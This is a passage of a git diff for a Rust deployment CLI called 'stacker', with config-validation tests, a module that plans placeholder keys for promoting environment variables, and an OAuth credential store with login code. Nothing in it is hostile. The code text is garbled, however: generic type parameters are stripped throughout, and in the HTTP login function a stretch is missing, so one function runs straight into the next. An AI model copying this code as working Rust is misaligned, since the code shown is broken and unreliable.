minimal\n"; + let config = StackerConfig::from_str(yaml).unwrap(); + assert_eq!(config.deploy.target, DeployTarget::Local); + } + + #[test] + fn test_default_proxy_type_is_none() { + let yaml = "name: minimal\n"; + let config = StackerConfig::from_str(yaml).unwrap(); + assert_eq!(config.proxy.proxy_type, ProxyType::None); + } + + #[test] + fn test_config_file_not_found() { + let result = StackerConfig::from_file(Path::new("/nonexistent/stacker.yml")); + assert!(result.is_err()); + let err = result.unwrap_err(); + assert!( + matches!(err, CliError::ConfigNotFound { .. }), + "Expected ConfigNotFound, got: {err:?}" + ); + } + + #[test] + fn test_config_invalid_yaml_syntax() { + let result = StackerConfig::from_str("{{invalid: yaml: :::"); + assert!(result.is_err()); + let err = result.unwrap_err(); + assert!( + matches!(err, CliError::ConfigParseFailed { .. }), + "Expected ConfigParseFailed, got: {err:?}" + ); + } + + #[test] + fn test_config_invalid_path_reports_field_name() { + let yaml = r#" +name: bad-path +app: + type: custom + path: {} +"#; + let err = StackerConfig::from_str(yaml).unwrap_err(); + let msg = err.to_string(); + assert!(msg.contains("app.path"), "unexpected message: {msg}"); + assert!( + msg.contains("quoted path string"), + "unexpected message: {msg}" + ); + } + + #[test] + fn test_validate_semantics_cloud_without_provider() { + let config = ConfigBuilder::new() + .name("test") + .deploy_target(DeployTarget::Cloud) + .build() + .unwrap(); + + let issues = config.validate_semantics(); + let errors: Vec<_> = issues + .iter() + .filter(|i| i.severity == Severity::Error) + .collect(); + assert!( + !errors.is_empty(), + "Expected validation error for missing cloud provider" + ); + assert!( + errors + .iter() + .any(|e| e.field.as_deref() == Some("deploy.cloud.provider")), + "Expected field reference to deploy.cloud.provider" + ); + } + + #[test] + fn test_validate_semantics_server_without_host() { + let config = ConfigBuilder::new() + .name("test") + .deploy_target(DeployTarget::Server) + .build() + .unwrap(); + + let issues = config.validate_semantics(); + let errors: Vec<_> = issues + .iter() + .filter(|i| i.severity == Severity::Error) + .collect(); + assert!( + !errors.is_empty(), + "Expected validation error for missing server host" + ); + assert!( + errors.iter().any(|e| e.message.contains("host")), + "Expected 'host' mentioned in error" + ); + } + + #[test] + fn test_validate_semantics_port_conflict() { + let config = StackerConfig::from_str( + r#" +name: port-conflict +services: + - name: web1 + image: nginx + ports: ["8080:80"] + - name: web2 + image: httpd + ports: ["8080:80"] +"#, + ) + .unwrap(); + + let issues = config.validate_semantics(); + let warnings: Vec<_> = issues + .iter() + .filter(|i| i.severity == Severity::Warning) + .collect(); + assert!(!warnings.is_empty(), "Expected warning about port conflict"); + assert!( + warnings.iter().any(|w| w.message.contains("8080")), + "Expected port 8080 in warning" + ); + } + + #[test] + fn test_validate_semantics_no_image_no_dockerfile_custom() { + let config = ConfigBuilder::new() + .name("test") + .app_type(AppType::Custom) + .build() + .unwrap(); + + let issues = config.validate_semantics(); + let errors: Vec<_> = issues + .iter() + .filter(|i| i.severity == Severity::Error) + .collect(); + assert!( + !errors.is_empty(), + "Expected error for custom type without image or dockerfile" + ); + } + + #[test] + fn test_validate_semantics_happy_path() { + let config = ConfigBuilder::new() + .name("valid-app") + .app_type(AppType::Static) + .build() + .unwrap(); + + let issues = config.validate_semantics(); + let errors: Vec<_> = issues + .iter() + .filter(|i| i.severity == Severity::Error) + .collect(); + assert!(errors.is_empty(), "Expected no errors, got: {errors:?}"); + } + + #[test] + fn test_validate_semantics_multi_target_requires_default_for_multiple_profiles() { + let config = StackerConfig::from_str( + r#" +name: multi-target-app +app: + type: static +deploy: + targets: + local: + compose_file: docker/local/compose.yml + prod: + server: + host: 10.0.0.8 + user: deploy + ssh_key: ~/.ssh/id_ed25519 +"#, + ) + .unwrap(); + + let issues = config.validate_semantics(); + assert!(issues.iter().any(|issue| issue.code == "E004")); + } + + #[test] + fn test_validate_semantics_multi_target_rejects_ambiguous_profile() { + let config = StackerConfig::from_str( + r#" +name: multi-target-app +app: + type: static +deploy: + default_target: hybrid + targets: + hybrid: + cloud: + provider: aws + server: + host: 10.0.0.8 + user: deploy + ssh_key: ~/.ssh/id_ed25519 +"#, + ) + .unwrap(); + + let issues = config.validate_semantics(); + assert!(issues.iter().any(|issue| issue.code == "E006")); + } + + #[test] + fn test_validate_semantics_remote_cloud_defaults_stack_code_without_project_identity() { + let config = ConfigBuilder::new() + .name("remote-app") + .deploy_target(DeployTarget::Cloud) + .cloud(CloudConfig { + provider: CloudProvider::Hetzner, + orchestrator: CloudOrchestrator::Remote, + region: Some("nbg1".to_string()), + size: Some("cpx11".to_string()), + install_image: None, + remote_payload_file: None, + ssh_key: None, + key: None, + server: None, + }) + .build() + .unwrap(); + + let issues = config.validate_semantics(); + let errors: Vec<_> = issues + .iter() + .filter(|i| i.severity == Severity::Error) + .collect(); + let infos: Vec<_> = issues + .iter() + .filter(|i| i.severity == Severity::Info) + .collect(); + assert!( + errors.is_empty(), + "Expected no blocking errors, got: {errors:?}" + ); + assert!( + infos + .iter() + .any(|e| e.field.as_deref() == Some("project.identity")), + "Expected project.identity informational hint" + ); + } + + // ━━━ ConfigBuilder tests ━━━ + + #[test] + fn test_config_builder_minimal() { + let config = ConfigBuilder::new().name("test").build().unwrap(); + assert_eq!(config.name, "test"); + assert_eq!(config.app.app_type, AppType::Static); + assert_eq!(config.app.path, PathBuf::from(".")); + assert_eq!(config.deploy.target, DeployTarget::Local); + assert_eq!(config.project.identity, None); + } + + #[test] + fn test_config_builder_project_identity() { + let config = ConfigBuilder::new() + .name("test") + .project_identity("registered-stack-code") + .build() + .unwrap(); + assert_eq!( + config.project.identity.as_deref(), + Some("registered-stack-code") + ); + } + + #[test] + fn test_config_builder_fluent_chain() { + let config = ConfigBuilder::new() + .name("my-app") + .version("1.0") + .organization("acme") + .app_type(AppType::Node) + .app_path("./src") + .add_service(ServiceDefinition { + name: "postgres".to_string(), + image: "postgres:16".to_string(), + ports: vec!["5432:5432".to_string()], + environment: HashMap::new(), + volumes: vec![], + depends_on: vec![], + }) + .deploy_target(DeployTarget::Cloud) + .cloud(CloudConfig { + provider: CloudProvider::Hetzner, + orchestrator: CloudOrchestrator::Local, + region: Some("fsn1".to_string()), + size: Some("cpx21".to_string()), + install_image: None, + remote_payload_file: None, + ssh_key: None, + key: None, + server: None, + }) + .build() + .unwrap(); + + assert_eq!(config.name, "my-app"); + assert_eq!(config.version, Some("1.0".to_string())); + assert_eq!(config.organization, Some("acme".to_string())); + assert_eq!(config.app.app_type, AppType::Node); + assert_eq!(config.app.path, PathBuf::from("./src")); + assert_eq!(config.services.len(), 1); + assert_eq!(config.deploy.target, DeployTarget::Cloud); + assert!(config.deploy.cloud.is_some()); + } + + #[test] + fn test_config_builder_missing_name_returns_error() { + let result = ConfigBuilder::new().app_type(AppType::Static).build(); + assert!(result.is_err()); + let err = result.unwrap_err(); + let msg = format!("{err}"); + assert!(msg.contains("name"), "Expected 'name' in error: {msg}"); + } + + #[test] + fn test_config_builder_default_app_type_is_static() { + let config = ConfigBuilder::new().name("x").build().unwrap(); + assert_eq!(config.app.app_type, AppType::Static); + } + + #[test] + fn test_config_builder_to_yaml_roundtrip() { + let original = ConfigBuilder::new() + .name("roundtrip") + .app_type(AppType::Python) + .app_path("./app") + .env("PORT", "8000") + .build() + .unwrap(); + + let yaml = serde_yaml::to_string(&original).unwrap(); + let parsed = StackerConfig::from_str(&yaml).unwrap(); + + assert_eq!(original.name, parsed.name); + assert_eq!(original.app.app_type, parsed.app.app_type); + assert_eq!(original.app.path, parsed.app.path); + assert_eq!(original.env.get("PORT"), parsed.env.get("PORT")); + } + + #[test] + fn test_config_builder_multiple_services() { + let config = ConfigBuilder::new() + .name("multi") + .add_service(ServiceDefinition { + name: "pg".to_string(), + image: "postgres:16".to_string(), + ports: vec![], + environment: HashMap::new(), + volumes: vec![], + depends_on: vec![], + }) + .add_service(ServiceDefinition { + name: "redis".to_string(), + image: "redis:7".to_string(), + ports: vec![], + environment: HashMap::new(), + volumes: vec![], + depends_on: vec![], + }) + .add_service(ServiceDefinition { + name: "minio".to_string(), + image: "minio/minio".to_string(), + ports: vec![], + environment: HashMap::new(), + volumes: vec![], + depends_on: vec![], + }) + .build() + .unwrap(); + + assert_eq!(config.services.len(), 3); + } + + // ━━━ Enum tests ━━━ + + #[test] + fn test_app_type_display() { + assert_eq!(format!("{}", AppType::Static), "static"); + assert_eq!(format!("{}", AppType::Node), "node"); + assert_eq!(format!("{}", AppType::Python), "python"); + assert_eq!(format!("{}", AppType::Rust), "rust"); + assert_eq!(format!("{}", AppType::Go), "go"); + assert_eq!(format!("{}", AppType::Php), "php"); + assert_eq!(format!("{}", AppType::Custom), "custom"); + } + + #[test] + fn test_app_type_serde_roundtrip() { + let json = serde_json::to_string(&AppType::Node).unwrap(); + assert_eq!(json, "\"node\""); + let parsed: AppType = serde_json::from_str(&json).unwrap(); + assert_eq!(parsed, AppType::Node); + } + + #[test] + fn test_app_type_default_is_static() { + assert_eq!(AppType::default(), AppType::Static); + } + + #[test] + fn test_deploy_target_display() { + assert_eq!(format!("{}", DeployTarget::Local), "local"); + assert_eq!(format!("{}", DeployTarget::Cloud), "cloud"); + assert_eq!(format!("{}", DeployTarget::Server), "server"); + } + + #[test] + fn test_deploy_target_default_is_local() { + assert_eq!(DeployTarget::default(), DeployTarget::Local); + } + + #[test] + fn test_proxy_type_display() { + assert_eq!(format!("{}", ProxyType::Nginx), "nginx"); + assert_eq!( + format!("{}", ProxyType::NginxProxyManager), + "nginx-proxy-manager" + ); + assert_eq!(format!("{}", ProxyType::Traefik), "traefik"); + assert_eq!(format!("{}", ProxyType::None), "none"); + } + + #[test] + fn test_proxy_type_default_is_none() { + assert_eq!(ProxyType::default(), ProxyType::None); + } +} diff --git a/stacker/stacker/src/cli/config_promote.rs b/stacker/stacker/src/cli/config_promote.rs new file mode 100644 index 0000000..c1ba809 --- /dev/null +++ b/stacker/stacker/src/cli/config_promote.rs @@ -0,0 +1,181 @@ +use std::collections::BTreeSet; +use std::path::Path; + +use serde::Serialize; + +use crate::cli::config_diff::{load_diff, ConfigDiff, DiffItem}; +use crate::cli::error::CliError; + +#[derive(Debug, Clone, Serialize, PartialEq, Eq)] +pub struct ConfigPromotionPlan { + pub from_environment: String, + pub to_environment: String, + pub service: Option, + pub items: Vec, + pub warnings: Vec, +} + +#[derive(Debug, Clone, Serialize, PartialEq, Eq)] +pub struct ConfigPromotionItem { + pub target: String, + pub key: String, + pub secret: bool, + pub from_source: Option, + pub placeholder: String, +} + +pub fn load_promotion_plan( + config_path: &Path, + from_environment: &str, + to_environment: &str, + service: Option, + keys: Vec, +) -> Result { + let diff = load_diff( + config_path, + from_environment, + to_environment, + service.clone(), + )?; + Ok(promotion_plan_from_diff(diff, keys)) +} + +pub fn promotion_plan_from_diff(diff: ConfigDiff, keys: Vec) -> ConfigPromotionPlan { + let key_filter = keys + .into_iter() + .map(|key| key.trim().to_string()) + .filter(|key| !key.is_empty()) + .collect::>(); + let items = diff + .missing_in_to + .iter() + .filter(|item| key_filter.is_empty() || key_filter.contains(&item.key)) + .map(promotion_item) + .collect(); + + ConfigPromotionPlan { + from_environment: diff.from_environment, + to_environment: diff.to_environment, + service: diff.service, + items, + warnings: diff.warnings, + } +} + +impl ConfigPromotionPlan { + pub fn is_empty(&self) -> bool { + self.items.is_empty() + } +} + +fn promotion_item(item: &DiffItem) -> ConfigPromotionItem { + ConfigPromotionItem { + target: item.target.clone(), + key: item.key.clone(), + secret: item.secret, + from_source: item.from_source.clone(), + placeholder: format!("{}=", item.key), + } +} + +#[cfg(test)] +mod tests { + use super::*; + use tempfile::TempDir; + + fn write(path: &Path, content: &str) { + if let Some(parent) = path.parent() { + std::fs::create_dir_all(parent).unwrap(); + } + std::fs::write(path, content).unwrap(); + } + + fn promotion(root: &Path, keys: Vec) -> ConfigPromotionPlan { + load_promotion_plan( + &root.join("stacker.yml"), + "local", + "prod", + Some("upload".to_string()), + keys, + ) + .unwrap() + } + + fn write_project(root: &Path) { + write( + &root.join("stacker.yml"), + r#" +name: device-api +environments: + local: + compose_file: docker/local/compose.yml + prod: + compose_file: docker/prod/compose.yml +"#, + ); + write( + &root.join("docker/local/compose.yml"), + r#" +services: + upload: + image: upload:latest + environment: + S3_BUCKET: local-bucket + S3_SECRET_KEY: local-secret + REDIS_URL: redis://local +"#, + ); + write( + &root.join("docker/prod/compose.yml"), + r#" +services: + upload: + image: upload:latest + environment: + REDIS_URL: redis://prod +"#, + ); + } + + #[test] + fn config_promote_plans_placeholders_for_missing_target_keys() { + let temp = TempDir::new().unwrap(); + write_project(temp.path()); + + let plan = promotion(temp.path(), Vec::new()); + + assert_eq!(plan.items.len(), 2); + assert!(plan.items.iter().any(|item| item.key == "S3_BUCKET")); + assert!(plan + .items + .iter() + .any(|item| item.placeholder == "S3_SECRET_KEY=")); + } + + #[test] + fn config_promote_marks_secret_placeholders_without_values() { + let temp = TempDir::new().unwrap(); + write_project(temp.path()); + + let plan = promotion(temp.path(), Vec::new()); + let secret = plan + .items + .iter() + .find(|item| item.key == "S3_SECRET_KEY") + .unwrap(); + + assert!(secret.secret); + assert_eq!(secret.placeholder, "S3_SECRET_KEY="); + } + + #[test] + fn config_promote_respects_key_filter() { + let temp = TempDir::new().unwrap(); + write_project(temp.path()); + + let plan = promotion(temp.path(), vec!["S3_BUCKET".to_string()]); + + assert_eq!(plan.items.len(), 1); + assert_eq!(plan.items[0].key, "S3_BUCKET"); + } +} diff --git a/stacker/stacker/src/cli/credentials.rs b/stacker/stacker/src/cli/credentials.rs new file mode 100644 index 0000000..d20a514 --- /dev/null +++ b/stacker/stacker/src/cli/credentials.rs @@ -0,0 +1,966 @@ +use std::fmt; +use std::path::{Path, PathBuf}; + +use chrono::{DateTime, Duration, Utc}; +use serde::{Deserialize, Serialize}; + +use crate::cli::error::CliError; + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// StoredCredentials — what we persist to disk +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Credentials file stored at `~/.config/stacker/credentials.json`. +/// +/// Mirrors the User Service OAuth token response (`/oauth_server/token`): +/// `{ access_token, refresh_token, token_type, scope, expires_in }`. +/// +/// We additionally store the absolute expiry time and user email for +/// convenience (avoids a network call for `stacker whoami`). +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct StoredCredentials { + pub access_token: String, + pub refresh_token: Option, + pub token_type: String, + pub expires_at: DateTime, + pub email: Option, + pub server_url: Option, + pub org: Option, + pub domain: Option, +} + +impl StoredCredentials { + /// True when the access token's expiry has passed. + pub fn is_expired(&self) -> bool { + Utc::now() >= self.expires_at + } + + /// True when the token will expire within the given duration. + pub fn expires_within(&self, margin: Duration) -> bool { + Utc::now() + margin >= self.expires_at + } +} + +/// Default session lifetime: 8 hours (28 800 seconds). +/// Can be overridden with the `STACKER_SESSION_TTL` environment variable +/// (value in seconds). +const DEFAULT_SESSION_TTL_SECS: u64 = 8 * 3600; // 8 hours + +fn session_ttl_secs() -> u64 { + std::env::var("STACKER_SESSION_TTL") + .ok() + .and_then(|v| v.parse::().ok()) + .unwrap_or(DEFAULT_SESSION_TTL_SECS) +} + +/// Convert an OAuth token response (with relative `expires_in`) into +/// `StoredCredentials` with an absolute `expires_at`. +/// +/// The session lifetime is the **maximum** of the server-supplied +/// `expires_in` and the local default (8 h), so CLI sessions always +/// stay alive for a comfortable working window. +impl From for StoredCredentials { + fn from(resp: TokenResponse) -> Self { + let min_ttl = session_ttl_secs(); + let ttl = resp.expires_in.unwrap_or(min_ttl).max(min_ttl); + let expires_at = Utc::now() + Duration::seconds(ttl as i64); + + Self { + access_token: resp.access_token, + refresh_token: resp.refresh_token, + token_type: resp.token_type.unwrap_or_else(|| "Bearer".to_string()), + expires_at, + email: None, + server_url: None, + org: None, + domain: None, + } + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// TokenResponse — raw OAuth /token reply +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Raw JSON returned by `POST /oauth_server/token`. +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct TokenResponse { + pub access_token: String, + pub refresh_token: Option, + pub token_type: Option, + pub scope: Option, + pub expires_in: Option, +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// CredentialStore trait — abstraction for testability (DIP) +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Pluggable storage back-end. Production writes to disk; tests use +/// an in-memory implementation. +pub trait CredentialStore: Send + Sync { + fn save(&self, creds: &StoredCredentials) -> Result<(), CliError>; + fn load(&self) -> Result, CliError>; + fn delete(&self) -> Result<(), CliError>; +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// FileCredentialStore — XDG-compliant file storage +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Stores credentials in `/stacker/credentials.json`. +/// +/// On macOS: `~/Library/Application Support/stacker/credentials.json` +/// On Linux: `~/.config/stacker/credentials.json` +pub struct FileCredentialStore { + path: PathBuf, +} + +impl FileCredentialStore { + /// Create a store rooted in the platform-specific config directory. + /// Falls back to `~/.config/stacker/` if detection fails. + pub fn default_path() -> PathBuf { + let base = std::env::var("XDG_CONFIG_HOME") + .map(PathBuf::from) + .or_else(|_| std::env::var("HOME").map(|h| PathBuf::from(h).join(".config"))) + .unwrap_or_else(|_| PathBuf::from(".")); + + base.join("stacker").join("credentials.json") + } + + pub fn new(path: PathBuf) -> Self { + Self { path } + } + + /// Use the platform default path. + pub fn with_default_path() -> Self { + Self::new(Self::default_path()) + } + + pub fn path(&self) -> &Path { + &self.path + } +} + +impl CredentialStore for FileCredentialStore { + fn save(&self, creds: &StoredCredentials) -> Result<(), CliError> { + if let Some(parent) = self.path.parent() { + std::fs::create_dir_all(parent)?; + } + + let json = serde_json::to_string_pretty(creds) + .map_err(|e| CliError::AuthFailed(format!("Failed to serialize credentials: {e}")))?; + + std::fs::write(&self.path, &json)?; + + // Restrict permissions on Unix (owner read/write only) + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + let perms = std::fs::Permissions::from_mode(0o600); + std::fs::set_permissions(&self.path, perms)?; + } + + Ok(()) + } + + fn load(&self) -> Result, CliError> { + if !self.path.exists() { + return Ok(None); + } + + let content = std::fs::read_to_string(&self.path)?; + let creds: StoredCredentials = serde_json::from_str(&content) + .map_err(|e| CliError::AuthFailed(format!("Corrupt credentials file: {e}")))?; + + Ok(Some(creds)) + } + + fn delete(&self) -> Result<(), CliError> { + if self.path.exists() { + std::fs::remove_file(&self.path)?; + } + Ok(()) + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// CredentialsManager — high-level operations +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Orchestrates login, logout, token loading, and expiry checking. +/// +/// Depends on `CredentialStore` (DIP) so tests can inject in-memory storage. +pub struct CredentialsManager { + store: S, +} + +impl CredentialsManager { + pub fn new(store: S) -> Self { + Self { store } + } + + /// Persist a new credential set (typically after a successful login). + pub fn save(&self, creds: &StoredCredentials) -> Result<(), CliError> { + self.store.save(creds) + } + + /// Load stored credentials, returning `None` if no file exists. + pub fn load(&self) -> Result, CliError> { + self.store.load() + } + + /// Remove stored credentials (logout). + pub fn logout(&self) -> Result<(), CliError> { + self.store.delete() + } + + /// Load credentials and ensure they are present and not expired. + /// Returns `CliError::LoginRequired` when absent, + /// `CliError::TokenExpired` when expired. + pub fn require_valid_token(&self, feature: &str) -> Result { + let creds = self.store.load()?.ok_or_else(|| CliError::LoginRequired { + feature: feature.to_string(), + })?; + + if creds.is_expired() { + return Err(CliError::TokenExpired); + } + + Ok(creds) + } + + /// Returns the bearer token header value if credentials are valid. + pub fn bearer_header(&self, feature: &str) -> Result { + let creds = self.require_valid_token(feature)?; + Ok(format!("{} {}", creds.token_type, creds.access_token)) + } +} + +impl CredentialsManager { + /// Convenience: create a manager backed by the default file path. + pub fn with_default_store() -> Self { + Self::new(FileCredentialStore::with_default_path()) + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// OAuthClient trait — abstraction over HTTP login calls +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// OAuth token endpoint path (relative to auth_url). +const TOKEN_ENDPOINT: &str = "/auth/login"; + +fn is_direct_login_endpoint(auth_url: &str) -> bool { + let url = auth_url.trim_end_matches('/').to_lowercase(); + url.ends_with("/auth/login") + || url.ends_with("/server/user/auth/login") + || url.ends_with("/login") +} + +fn resolve_auth_url(request: &LoginRequest) -> Result { + request + .auth_url + .clone() + .or_else(|| std::env::var("STACKER_AUTH_URL").ok()) + .or_else(|| std::env::var("STACKER_API_URL").ok()) + .ok_or_else(|| { + CliError::ConfigValidation( + "Missing auth URL. Pass `stacker login --auth-url --server-url ` or set STACKER_AUTH_URL (or STACKER_API_URL) and STACKER_URL.".to_string(), + ) + }) +} + +fn resolve_server_url(request: &LoginRequest) -> Result { + request + .server_url + .clone() + .or_else(|| std::env::var("STACKER_URL").ok()) + .map(|value| crate::cli::install_runner::normalize_stacker_server_url(&value)) + .ok_or_else(|| { + CliError::ConfigValidation( + "Missing Stacker API URL. Pass `stacker login --server-url ` (alias: `--api-url`) or set STACKER_URL.".to_string(), + ) + }) +} + +/// Parameters for a login request. +#[derive(Debug, Clone)] +pub struct LoginRequest { + pub email: String, + pub password: String, + pub auth_url: Option, + pub server_url: Option, + pub org: Option, + pub domain: Option, +} + +/// Abstraction over the HTTP call to the OAuth token endpoint. +/// Production uses `HttpOAuthClient`; tests can inject a mock. +pub trait OAuthClient: Send + Sync { + fn request_token( + &self, + auth_url: &str, + email: &str, + password: &str, + ) -> Result; +} + +/// Production OAuth client using `reqwest::blocking`. +pub struct HttpOAuthClient; + +impl OAuthClient for HttpOAuthClient { + fn request_token( + &self, + auth_url: &str, + email: &str, + password: &str, + ) -> Result { + let direct_login = is_direct_login_endpoint(auth_url); + let url = if direct_login { + auth_url.trim_end_matches('/').to_string() + } else { + format!("{}{}", auth_url.trim_end_matches('/'), TOKEN_ENDPOINT) + }; + + // Re-check: the constructed URL may now be a direct login endpoint + let direct_login = direct_login || is_direct_login_endpoint(&url); + + let client = reqwest::blocking::Client::builder() + .timeout(std::time::Duration::from_secs(30)) + .build() + .map_err(|e| CliError::AuthFailed(format!("HTTP client error: {e}")))?; + + let resp = if direct_login { + client + .post(&url) + .form(&[("email", email), ("password", password)]) + .send() + } else { + client + .post(&url) + .form(&[ + ("grant_type", "password"), + ("username", email), + ("password", password), + ]) + .send() + } + .map_err(|e| CliError::AuthFailed(format!("Network error: {e}")))?; + + if !resp.status().is_success() { + let status = resp.status(); + let body = resp.text().unwrap_or_default(); + let body_preview: String = body.chars().take(240).collect(); + let html_404_hint = if status == reqwest::StatusCode::NOT_FOUND + && (body.contains("( + store: &CredentialsManager, + oauth: &O, + request: &LoginRequest, +) -> Result { + let auth_url = resolve_auth_url(request)?; + let server_url = resolve_server_url(request)?; + let token_resp = oauth.request_token(&auth_url, &request.email, &request.password)?; + let mut creds = StoredCredentials::from(token_resp); + creds.email = Some(request.email.clone()); + creds.server_url = Some(server_url); + creds.org = request.org.clone(); + creds.domain = request.domain.clone(); + + store.save(&creds)?; + Ok(creds) +} + +impl fmt::Display for StoredCredentials { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + let email = self.email.as_deref().unwrap_or(""); + let expired = if self.is_expired() { " (expired)" } else { "" }; + write!(f, "Logged in as {email}{expired}") + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Tests +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[cfg(test)] +mod tests { + use super::*; + use std::sync::{Arc, Mutex}; + + #[test] + fn test_is_direct_login_endpoint_detection() { + assert!(is_direct_login_endpoint( + "https://dev.try.direct/server/user/auth/login" + )); + assert!(is_direct_login_endpoint( + "https://dev.try.direct/server/user/auth/login/" + )); + assert!(!is_direct_login_endpoint("https://api.try.direct")); + } + + // ── In-memory mock store ──────────────────────── + + #[derive(Clone, Default)] + struct MockCredentialStore { + inner: Arc>>, + } + + impl CredentialStore for MockCredentialStore { + fn save(&self, creds: &StoredCredentials) -> Result<(), CliError> { + *self.inner.lock().unwrap() = Some(creds.clone()); + Ok(()) + } + + fn load(&self) -> Result, CliError> { + Ok(self.inner.lock().unwrap().clone()) + } + + fn delete(&self) -> Result<(), CliError> { + *self.inner.lock().unwrap() = None; + Ok(()) + } + } + + fn valid_creds() -> StoredCredentials { + StoredCredentials { + access_token: "test-access-token".to_string(), + refresh_token: Some("test-refresh-token".to_string()), + token_type: "Bearer".to_string(), + expires_at: Utc::now() + Duration::hours(1), + email: Some("user@example.com".to_string()), + server_url: Some("https://try.direct".to_string()), + org: None, + domain: None, + } + } + + fn expired_creds() -> StoredCredentials { + StoredCredentials { + access_token: "expired-token".to_string(), + refresh_token: Some("expired-refresh".to_string()), + token_type: "Bearer".to_string(), + expires_at: Utc::now() - Duration::hours(1), + email: Some("old@example.com".to_string()), + server_url: None, + org: None, + domain: None, + } + } + + fn make_manager() -> (CredentialsManager, MockCredentialStore) { + let store = MockCredentialStore::default(); + let manager = CredentialsManager::new(store.clone()); + (manager, store) + } + + // ── StoredCredentials unit tests ──────────────── + + #[test] + fn test_valid_creds_not_expired() { + let creds = valid_creds(); + assert!(!creds.is_expired()); + } + + #[test] + fn test_expired_creds_is_expired() { + let creds = expired_creds(); + assert!(creds.is_expired()); + } + + #[test] + fn test_expires_within_margin() { + let creds = StoredCredentials { + access_token: "tok".into(), + refresh_token: None, + token_type: "Bearer".into(), + expires_at: Utc::now() + Duration::minutes(3), + email: None, + server_url: None, + org: None, + domain: None, + }; + assert!(creds.expires_within(Duration::minutes(5))); + assert!(!creds.expires_within(Duration::minutes(1))); + } + + #[test] + fn test_display_shows_email() { + let creds = valid_creds(); + let display = format!("{}", creds); + assert!(display.contains("user@example.com")); + assert!(!display.contains("expired")); + } + + #[test] + fn test_display_shows_expired() { + let creds = expired_creds(); + let display = format!("{}", creds); + assert!(display.contains("expired")); + } + + // ── TokenResponse → StoredCredentials conversion ─ + + #[test] + fn test_token_response_to_stored_credentials() { + let resp = TokenResponse { + access_token: "new-token".into(), + refresh_token: Some("new-refresh".into()), + token_type: Some("Bearer".into()), + scope: Some("read write".into()), + expires_in: Some(7200), + }; + let creds = StoredCredentials::from(resp); + assert_eq!(creds.access_token, "new-token"); + assert_eq!(creds.refresh_token.as_deref(), Some("new-refresh")); + assert_eq!(creds.token_type, "Bearer"); + // Server sent 7200 but minimum is 8 h → clamped to 8 h + let expected = DEFAULT_SESSION_TTL_SECS as i64; + let diff = creds.expires_at - Utc::now(); + assert!(diff.num_seconds() > expected - 100 && diff.num_seconds() <= expected); + } + + #[test] + fn test_token_response_respects_longer_server_ttl() { + // When the server returns a TTL longer than 8 h, honour it. + let ten_hours: u64 = 10 * 3600; + let resp = TokenResponse { + access_token: "tok".into(), + refresh_token: None, + token_type: None, + scope: None, + expires_in: Some(ten_hours), + }; + let creds = StoredCredentials::from(resp); + let diff = creds.expires_at - Utc::now(); + assert!( + diff.num_seconds() > (ten_hours as i64) - 100 && diff.num_seconds() <= ten_hours as i64 + ); + } + + #[test] + fn test_token_response_defaults() { + let resp = TokenResponse { + access_token: "tok".into(), + refresh_token: None, + token_type: None, + scope: None, + expires_in: None, + }; + let creds = StoredCredentials::from(resp); + assert_eq!(creds.token_type, "Bearer"); + // default expires_in is 8 hours (28800) + let expected = DEFAULT_SESSION_TTL_SECS as i64; + let diff = creds.expires_at - Utc::now(); + assert!(diff.num_seconds() > expected - 100 && diff.num_seconds() <= expected); + } + + // ── CredentialsManager tests ──────────────────── + + #[test] + fn test_save_and_load() { + let (manager, _) = make_manager(); + let creds = valid_creds(); + manager.save(&creds).unwrap(); + let loaded = manager.load().unwrap(); + assert!(loaded.is_some()); + assert_eq!(loaded.unwrap().access_token, "test-access-token"); + } + + #[test] + fn test_load_returns_none_when_empty() { + let (manager, _) = make_manager(); + let loaded = manager.load().unwrap(); + assert!(loaded.is_none()); + } + + #[test] + fn test_logout_removes_credentials() { + let (manager, _) = make_manager(); + manager.save(&valid_creds()).unwrap(); + manager.logout().unwrap(); + let loaded = manager.load().unwrap(); + assert!(loaded.is_none()); + } + + #[test] + fn test_require_valid_token_succeeds() { + let (manager, _) = make_manager(); + manager.save(&valid_creds()).unwrap(); + let creds = manager.require_valid_token("cloud deploy").unwrap(); + assert_eq!(creds.access_token, "test-access-token"); + } + + #[test] + fn test_require_valid_token_login_required_when_empty() { + let (manager, _) = make_manager(); + let err = manager.require_valid_token("cloud deploy").unwrap_err(); + let msg = format!("{}", err); + assert!(msg.contains("Login required")); + assert!(msg.contains("cloud deploy")); + } + + #[test] + fn test_require_valid_token_expired() { + let (manager, _) = make_manager(); + manager.save(&expired_creds()).unwrap(); + let err = manager.require_valid_token("cloud deploy").unwrap_err(); + let msg = format!("{}", err); + assert!(msg.contains("expired")); + } + + #[test] + fn test_bearer_header_format() { + let (manager, _) = make_manager(); + manager.save(&valid_creds()).unwrap(); + let header = manager.bearer_header("api call").unwrap(); + 